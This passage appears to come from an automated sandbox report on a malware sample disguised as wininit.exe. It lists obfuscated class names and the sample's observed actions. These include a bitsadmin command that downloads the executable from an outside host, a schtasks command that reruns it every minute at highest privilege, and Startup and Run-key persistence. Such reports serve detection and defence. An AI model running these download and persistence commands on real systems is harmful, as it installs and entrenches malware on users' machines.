Source: 5.2.wininit.exe.27df820.0.raw.unpack, xaTyEYG3tM6dhGUM43tuLNgAQtUu8Voa3zSAj5FxOU1z62TCl.cs	High entropy of concatenated method names: 'bNRqxAI6ScANdA83639TnYaemlSXwLGwmQbIm4BGWMtPOdgpU', 'KhPuoqOD5oClw0fbPBsy7o8VpCmjLmQAhkfuACCFNnGcRKeh2', 'PleEGhZJ4ayjB57QATIYo8FvhLCIl8kRIZm7I2yllDLENQ8WC', 'wqUTWKp6OfOKixBG32RpId98', 'kg0ZpoaqrzLya4D2c973veMQ', 'CQyMUprWsGeW4c9J5b0dEZnx', 'uWhmyQWPwd008Of90lBInVwE', 'x0YNYitysT2f1B51surYTvQS', '_2A7ePYYHNGJGiyZmXYw6JtDI', '_6PKadTSdIBBTvquFkdnzChzT'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, tbuIlvTcGLkYNSengIBQYlrDZOdSkzFCt38xFZ4C3HUowPPqW.cs	High entropy of concatenated method names: 'YP8zvgzbKr3X1TSTzDwz5rPoOMpP47hi2bMGqsjARuO58Awr3', '_7Ae6fk131Q32VUxvWVTQ2vIdaNM2ft2r6ytyMappEY1tsxQFT', 'rdlKghPhNlDVRYiLCJOxLTIDRjMaAJ8ZBqg6oGIhxGn40zYBf', 'OlRjhnbqYda0vWnO0csMwwOwfCIET5cmdwMFkIwispB9P4tLD', 'HQASlGnJ8sWTKhT5gKo2x7e6W7swI15dMn11lP9sdcO5QFm3M', 'Jq0bmtiEusqE1gzakdT8j45P7KS5ReV6bKP0reeEGYL0h9IcK', 'NkEN5kuy33L8z9VUjVtfOzmelJnigmLUvFYguOjVaLSevjBc5', 'TggHJ4WTcTmuS6MDh7BLTYkibpFkhtmWLzN5ScfAeEmQLQ3p5', 'VFYPGKkHfYiunNlVlNWSDPicuWYajg5g49U9YrQC5ov1XAQeD', 'fTKDRvFM49GwUocdW8NzCBgKFKQ3KGErJyPCYrNNknwKoiLVU'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, lgOagQduF6xT0xNr8HJEardsobGMfXzs6Czi3u2Sd3L0acGaw.cs	High entropy of concatenated method names: '_200IYWRkJXTEvIev0wyVQ8khuzz5TkaXLRB5odqRv1i1aZFWy', '_79PiUcFY60MV4sY1q8U38GCzz2FBKgfo5xy5WbrD9j4RFOWqC', 'dGmPWh99HplGCmVameubZh6Bn1If4z3SszJenghcDcRscWDZv', 'kk7xwRdXAQjHR3lDKHa4IY1aEU4X6OFZ2QPIIkuJqODCYdnwb', '_3D2GkrlgeTBtjdCapz3A0tAFNjqUw6VztscyZTEY8Jno4DefZ', '_0cA0rRTi3EUU50MCjV09wLrCvJR1ZhbzpZyrMhpraWOFsebkd', 'gPAxFIVD0V9XYobMwdMOUzGryl9Tq6b8PDLiSj93KH9Vr3orP', 'gqGNaCh0zu3iBmJrrJ6D4LVl3RaXyiyt7YnuXheh8mpEIweKn', 'yRdIWKoyLedB5sZgzrCMEYLkznbAQB1C48thx4nKRSqsLja77', 'Q2geSFU2GkHWD6ZCYzuFBiMx2etNoUvSQ4q5T1GDJaTGrr2bp'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, ekkMiDv0naq3sjxJyXfIR1x5yXvl1xKtORIjB3FBlkLzSnlEI.cs	High entropy of concatenated method names: 'S7oci1pip6wZx2y2vUfCY9CCLyBdr6zoDLTU6pfV8e0RGe1HL', 'pyBVG2zto9vz9EE8HnjMKnvrDEQI5Aunko6ShQZXZGixZUKVH', 'navDs1FhMJfT5RIxv6tSK7As017Kp9dD7Rn1wxHrqin2tIDK9', 'WhXvhkddoBH9uFSy5eUcOKkQZHwjJ835epzRkkUbP91WVT7HL', 'gwPhuzzmFIH0oXOkWusYDt6YSJK3x6rvqiWFVVLuT2vU6kL2X', 'vetr6RQtXdLxFQ5LgEhNJXfCf9i3rWWX7rQ1Nyne85wANsWkH', 'TZ36Zj4ysqIFu25fYfzSu5iQP7HgEE3TPXD6F12T18T4OaUtd', 'IM6nIfsB33pJMOxvjlefgnnlHSfZ7opxqlKhTURPZSlWCz1JY', 'zAMDB2Sm7T6vLcNYj4ROolEippMm8FlBTM2fJW8lHuakIEuS0', 'sAs1CvbSSXDTXpIippToMHMCuYJu6jeoptb0nX0Dn8XISn64u'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, 0cgrNmkHxZRuAQEqRimtas6lLl5iBAzJCeHLHLif0Cvv39xyjt35uB2sia2x9huxx5fL0C9RrdrO8HA9Kv.cs	High entropy of concatenated method names: 'NYQjxEafQiKx4H71pyQajo2KOqj1TiUjbeqvnzq9Pr5sZV01IaBmPVj1jdZseqX90REFKGWsK6JHhFbNT9', '_8x41fVnVzdVtXRIhY20zi8q0a3lWuCJZ3a5WYYSod13DX3weAXibqHIfCFCcyAClpDPeZD0OaO1gr1nZkd', 'NG6KL4SqQbctl477Z1rBJeaWdLAOqpZIKLQkoWkzv548d45WOJLPaHLwoQR3K77fr41XP0tvoVN2pt0LMr', 'FNUc2S0sTWx6sILVStIE6r0ZScX9X5SlECl6h9XSvBYmrapkw2NExIUssGjY90yvoV4cwCpYpE8aet08Ua', 'x4ia9IJOWCm9KHfsjDZfCNdn', 'ShNGhW38GUzqDUFKTYramyfe', 'f8jlYeW0h2IjFh7FzKKUg9BU', 'mVzI7aBt1zP6YoGAo2SHrf8b', 'TwmBG6S7RE615Y2U9RdY75nX', 'eyqj4o8T9oE6mMD6EAec6lo4'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, 28YENLqzYH38q0lvSHq8cdgEkxEBgvoW17YoNf76xEbjh3XKx.cs	High entropy of concatenated method names: 'wFjkhLY4LoZKYwJa0AgL7JA91uaNVO2SkT4nyih3Gs4hZ8VGU', 'RUA4E1eRbVUByXGt869zgGugRmKiDQBeP7rGSz8Wurrp58fn0', 'LU47xaoZ2v6v98XVJR117BDC5FmeALSJkIAjBXD9FsAOsYFYH', 'dmPn64gMgTov1b5NPB09PLmiqacm2BLpgYQ9pDVyEUhVTiIot', 'enGUfBbMbPrDYNNcn5KqTGd2rYWqmmITrdhxp8xAoaIYo4jhn', 'kfbhyKaWBd8YKci6LA3h4u1bSxwJ5T5Gbjrol551lVFHYxalA', 'MnkSTQYh4TOxUyl9QNdTSBuObfkq70V76tCLS5EOulQpzBF7i', '_4l0KmjQ39YQqzw57zkobh0SjqKWelJ7LrNeQ2iRqdzCewWTKT', 'cMqeuU3kNgXzh1N4r0KRP0Jc0LsPCe6qbvvwT3G2UBR1TLW2K', 'FAg0JpcnytEPf6Dzm7BR7V5bRQY9ztMRKdryaZ4kQGywh0mva'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, YkVOnCxniKkBgIh2gN6pw5h2FMLgVXKlnmyboGGhhp52kCEnTF5yxtfgYAnkHI4yTcVMQfxkKEn5AvfECo.cs	High entropy of concatenated method names: 'AcisUNCSuVFrBikpjiolvARXB02lFHiP4vtsFOIpIJ2DMbwu28uI7QOSpqz9GU0HPZf20b7gXKNv1moIaH', 'gTRHx9arOKRVotnoIrZKicfQ', 'u9eGy0zRxOfvoHxI8o8ueKAu', 'CBjzxk5vc0zWIz32x0QeW6CU', 'w21H32QCMSqEug7WDQkGRyoy'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, JTUajwZX3bMUNOY0rg3Pwk92NPZAXHesr02c48g1DUybCmimQ.cs	High entropy of concatenated method names: 'e7JEgLIyCKYdgbReH8mq6nqtiAqeh2614BsiouiQLaKibzVCM', 'x21N60NoZ5CLkBrvfK3AdQSj', 'mAGU8HtdtxCs5hmekd1tLME5', 'fQ6mchearhcE8vIuznCdPYZN', 'h66xZRtvI20tuBqdyerpBxSS'
Source: 5.2.wininit.exe.27df820.0.raw.unpack, Uc46tMpW2xEMTIR4OAhEZNCcXyin0mKKsXm6twuQU38Vw8qF8o9BxAy57IPqiAKHuxCz7pqr8cKV4Ula05.cs	High entropy of concatenated method names: 'TaWBmBsELjv5ZsS0acJTWcHbv5YUUXsh570w7OI95hwDxcgYCmWRqlaXspogRYWjbyRGNPGmJWet17cUFB', 'NNrn5oq8k7vsV61gtCbylTPezpy79dUQQh4bwHKzNqQW20CjtxkF1kj0KU1F8NQFlZZk5hLN1YPMOIogDF', 'WIk5b8uMUVcHO1Fp4gQ7qzirTJoI3fKvoBPfwpWdgWeFkBkFd0cWtsb523Vc8xGzqmEshx0aqK7QYu7Fh5', 'yurrNEi67T8C0XBpq87n8zeRyrDeJ0kg90quHF5lXKNxxaaMfxDdqSy3OvrBaMJXSjYzJyPQvHKXCeFCDt', 'YIZzebrGnSb2NRPXP1dEZVqIHIbCxRO5NuGXN592WKiBVffdmpGzZN1f69OV6sBax1xNwHGj01XCjpoU0X', 'QyNbfu3UMCLAq7wREA47xDt8w6tWtuRxUwxKnIBFWESTTstqCDkPbq2Tx3DpcaXcRxahYI0h1RVnzVueZt', '_3NRSEKWHhWrAXapI0GlMsHe6Prjdia8XvttGp9lWFTzJv5YbLrBQE1lWznTmnUBuegzIyOsv3MTVflqOev', 'HnMB8wYHWCvC9e2BWXniO494cO6FSXcr3sGDp4T2vXvZY8vtm0o7Ny85MfvFIkFuTgaZvLwRgdeGTpVC0w', 'KRj7qRjQa2ixwuEkGItZz79XHSyCmUQXoL2jLGQSdMLcMzSNfrcsvkRcxr1s7jjWa3vZ3LXJOmnll2pCkp', 'lYVkbVw3fZHQOQbjuREA8NMLcQXhlcTjTVoNOKnZWJhW4iuhbcJ7fsOaW3bEb4WxtpOBIilBdJCrNueh4p'

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

File created: C:\Users\user\AppData\Roaming\wininit.exe

Jump to dropped file

Tries to download files via bitsadmin

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://2k8u3.org/wininit.exe C:\Users\user\AppData\Local\Temp\wininit.exe
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://2k8u3.org/wininit.exe C:\Users\user\AppData\Local\Temp\wininit.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	File created: C:\Users\user\AppData\Roaming\wininit.exe	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\wininit.exe (copy)	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "wininit" /tr "C:\Users\user\AppData\Roaming\wininit.exe"

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wininit.lnk

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wininit.lnk

Loading BitLocker PowerShell Module

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run wininit			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run wininit			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
